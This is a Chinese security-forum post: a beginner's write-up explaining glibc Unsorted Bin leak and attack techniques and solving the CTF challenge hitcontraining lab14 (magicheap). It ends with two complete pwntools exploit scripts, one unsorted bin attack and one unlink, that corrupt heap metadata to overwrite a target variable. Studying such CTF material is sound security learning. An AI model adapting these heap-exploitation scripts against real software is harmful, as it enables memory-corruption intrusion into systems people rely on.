吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 841|回复: 1
上一主题 下一主题
收起左侧

[调试逆向] hitcontraining_lab14学习(以及Unsorted Bin的个人理解)

  [复制链接]
跳转到指定楼层
楼主
peiwithhao 发表于 2022-9-16 14:11 回帖奖励
本帖最后由 peiwithhao 于 2022-9-16 14:13 编辑

Unsorted Bin Attacks
基础知识
首先我们要知道unsorted bin的解释以及使用场景,这里我就先贴上ctf-wiki上面的解释




概述
  • Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。
  • Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
  • Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。
基本来源
  • 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  • 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
  • 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

基本使用情况
  • Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取
  • 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

从中我们可以知道unsortedbin的一些基础知识,从中我们知道其与fastbin不同,是双链表构成的,并且在链表上面是遵循FIFO(First In First Out),而由于我这还是初学,所以其来源考虑的并不是很多,即free掉chunk时归入到unsortedbin这种情况/
在这里主要的对于unsortedbin漏洞的利用主要有两方面,即leak以及attack,我将在下面分别讲解。
Unsorted bin leak
这里我们还是需要点基础知识的啦,那就是main_arena的结构分布,其在正常情况下是处于你这个二进制文件所依赖运行库里面的.data段之中的,他的大致分布如下,这是我找的网图
这里的图是我嫖的呆毛师傅的(顺便我来说一句,fate真好看,虽然剧情看不明白,但是打斗帅啊),呆毛师傅讲的pwn比我好多了这里附上链接
从零开始的Linux堆利用(六)——Unsortedbin Attack
https://www.52pojie.cn/thread-1467962-1-1.html
(出处: 吾爱破解论坛)

而这个是我截的原图奥┗|`O′|┛ 嗷~~,大伙也可以在pwndbg里面运用这个指令查看结构体情况

从结构图中可以看到main_arena中fastbins和smallbins之间存在一个0x16大小的连个熟悉的字眼,也就是unsortedbin的fd以及bk,上面的0x90,0xa0一些的先不管,因为我也没学到
而这两者(即fd与bk)他是满足一个循环双链表的结构的,说到这里我就得画个图了
下图是main_arena初始时的状态,也就是双循环链表时的形式,这里的黑线是fd指针指的方向,而bk是红线表示,这里我们可以看到main_arena的初始情况就是分别指向了unsortedbin_addr-0x10的地址,他其实就是将这里看做了一个块,所以需要减去0x10,也就是prev_size位与size位

我们再来看看调试情况,这样可以证实我们理论上的观点,发现van全一致。

下面这幅图也就是根据fifo画出的对应图,我们这里分配0x88是为了越过fastbin的收纳,当free的时候直接进入unsortedbins,可以看出我们入链表的时候是用头插法,然后取链表的时候即使用的是尾节点。

接下来就讲解我们的leak内容,其中我们先来构造一下unsortbin情况

这里我们分配了三个堆块,第三个堆块是防止unlink与topchunk合并,我们这里打开调试看看。

这里我们清楚的看到,在free后我们free块的fd以及bk都变成了main_arena中unsortedbin的两个地址,而main_arena中所对应unsortedbin的fd与bk也纷纷都指向了第二个堆块,我们这里再将其申请回来试试看

从中可以看到我们只是覆盖了fd,而并没有将他清0,所以我们这里就可以干脆传个空字符串,然后如果发现程序里面有类似于show功能的函数就可以直接知道main_arena中固定偏移的地址,也就知道了libc的基地址了。其具体计算方法也就是:在libc中你可以仅仅通过他的符号表知道malloc_hook的偏移,而他的偏移一般与main_arena的地址相差0x10所以可以通过其来算出main_arena在libc文件中的偏移,因此也可以计算出libc基地址了。
Unsorted bin Attack
leak是不是很easy?接下来我们来看看attack的利用方式,其大致思路我觉得可以归结于unlink那种类型,但又并不能完全等同
[C] 纯文本查看 复制代码
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
  malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

这里先写上init_malloc中的一段代码。这里的极简化版本就是,你头节点的bk指针会变成你所申请块的bk指针,而由于我们可以构造所释放块的bk,所以这里可以将main_arena的bk指针修改成我所想要的。
而这只是attack攻击的余波而已,他真正的目的是我们所构造的fd指针所指向的位置,也就是p->bk ,他其中的值会修改成main_arena的值,接下来我从图的角度来跟大家讲解。

首先我们来构造fake_chunk,其在图上可以反应为在这俩货中间加了一个虚假的chunk块,这样我们释放的时候就会使得fake块的fd指针要指向main_arena中unsortedbin的地方,所以就构成了任意写。这里注意由于unsortedbin在低版本时没有对于fake_chunk进行检验确定其是否属于双链表成员,所以对于其fd与bk我们只用管他的fd即可。
这里我们可以这么理解,我真正块的bk位是指向的fake_chunk,所以程序默认fake_chunk的bk是指向main_arena中的,这时根据unlink类似的思路,程序认为只需要改变fake_chunk的fd(因为程序认为这个fd本身指向了将要free的那个块),所以就将fake_fd指向了main_arena

大伙可以用代码来实现一下。
接下来咱们来做做题
hitcontraining_lab14
依然先检查保护

看起来还行,毕竟没开pie,接下来深入逻辑

我这里就给大伙简单叙述一下,常规的菜单题,edit分配有无限写的漏洞,给定size任意填充,然后就是分配的各个块都在bss段上知道地址,然后查看的时候发现有个l33t函数,这里就是说我们要使得magic的值大于4869即可获取flag,而这个在bss段上


但是我看着看着发现,这不明显unlink嘛,于是我先用unlink做了一遍,行云流水(其实是这题是真简单)。unlink的exp我会也放在后面,但别忘了今天咱们是来联系unsortedbin的。
这里我们首先申请三个堆块,堆块2是用来隔离堆块1的

然后我们先释放块1,由于其堆块大小位0x90,所以将其放入unsortedbins,这时候我们通过edit函数的任意写漏洞,将块1的bk修改为magic的地址再减去0x10,因为我们的bk是指向块首,也就是prev_size占的那块,然而我们真正能修改的是fake块的fd指针,所以我们要保持这个fd指针和magic是同一地址,我们从ida静态调试可以发现magic地址位于0x6020c0

这个0xdeadbeef没什么具体含义,这里只是为了方便观察,我看好多师傅都在用我就也用用
经过基础知识的学习我们了解到fake_chunk的fd指针就会改变为main_arena中unsortedbin的地址,我们调试发现果然如此,大成功!

这个例子比较简单,但是对于unsortedbin attack学习的帮助还是很直观的
最后附上unsorted attack的exp,以及unlink的exp(如果unlink不熟悉可以看我上篇哈,我把自己的见解都说出来了)
[Python] 纯文本查看 复制代码
from pwn import * 
io = process('./magicheap0')
libc = ELF('/home/eclipse/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
heaparray_0 = 0x6020e0
heaparray_1 = 0x6020e8
heaparray_2 = 0x6020f0
heaparray_3 = 0x6020f8
context.log_level = 'INFO'
def create(size,content):
    io.recvuntil("Your choice :")
    io.sendline('1')
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap:")
    io.sendline(content)

def edit(index,size,content):
    io.recvuntil("Your choice :")
    io.sendline('2')
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap : ")
    io.sendline(content)


def delete(index):
    io.recvuntil("Your choice :")
    io.sendline('3')
    io.recvuntil("Index :")
    io.sendline(str(index))


def exit_use():
    io.recvuntil("Your choice :")
    io.sendline('4869')


create(0x88,'aaaa')                                                     #chunk 0
create(0x88,'bbbbb')                                                    #chunk 1
create(0x20,'cccc')                                                     #chunk 2    precaution not to consolidate with the top chunk

delete(1)                                   #put in the unsortedbin
payload = b'a' * 0x88 + p64(0x91) + p64(0xdeadbeef) + p64(0x6020b0)
edit(0,len(payload),payload)
create(0x88,'')
exit_use()





然后就是unlink的exp
[Python] 纯文本查看 复制代码
from pwn import * 
io = process('./magicheap0')
libc = ELF('/home/eclipse/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
heaparray_0 = 0x6020e0
heaparray_1 = 0x6020e8
heaparray_2 = 0x6020f0
heaparray_3 = 0x6020f8
context.log_level = 'INFO'
def create(size,content):
    io.recvuntil("Your choice :")
    io.sendline('1')
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap:")
    io.sendline(content)

def edit(index,size,content):
    io.recvuntil("Your choice :")
    io.sendline('2')
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap : ")
    io.sendline(content)


def delete(index):
    io.recvuntil("Your choice :")
    io.sendline('3')
    io.recvuntil("Index :")
    io.sendline(str(index))


def exit_use():
    io.recvuntil("Your choice :")
    io.sendline('4869')


create(0x88,'aaaa')                                                     #chunk 0
create(0x88,'bbbbb')                                                    #chunk 1
create(0x88,'ccccc')                                                    #chunk 2 
create(0x88,'ddddd')                                                    #chunk 3
create(0x88,'eeeee')                                                    #chunk 4

#unlink
fd = heaparray_3 - 0x18
bk = heaparray_3 - 0x10

payload = b'\x00'*8 + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
edit(3,0x90,payload)                                                    #fake_chunk
#gdb.attach(io)
delete(4)                                                               #use unlink
#FD = P-fd
#BK - p->bk
#FD = p-bk-fd
#BK = p-fd-bk

#change the chunk 3 , in fact , it can change the chunk_0's content
free_addr = libc.sym['free']
payload2 = b'' + p64(free_addr)
edit(3,8,p64(0x6020c0))

#edit the chunk 0 , in addition to change the maggic
edit(0,8,p64(4870))

exit_use()

io.interactive()

免费评分

参与人数 3威望 +2 吾爱币 +102 热心值 +3 收起 理由
gaosld + 1 + 1 热心回复!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
zhczf + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
白云点缀的蓝 发表于 2022-9-26 02:54
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2022-9-26 06:12

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表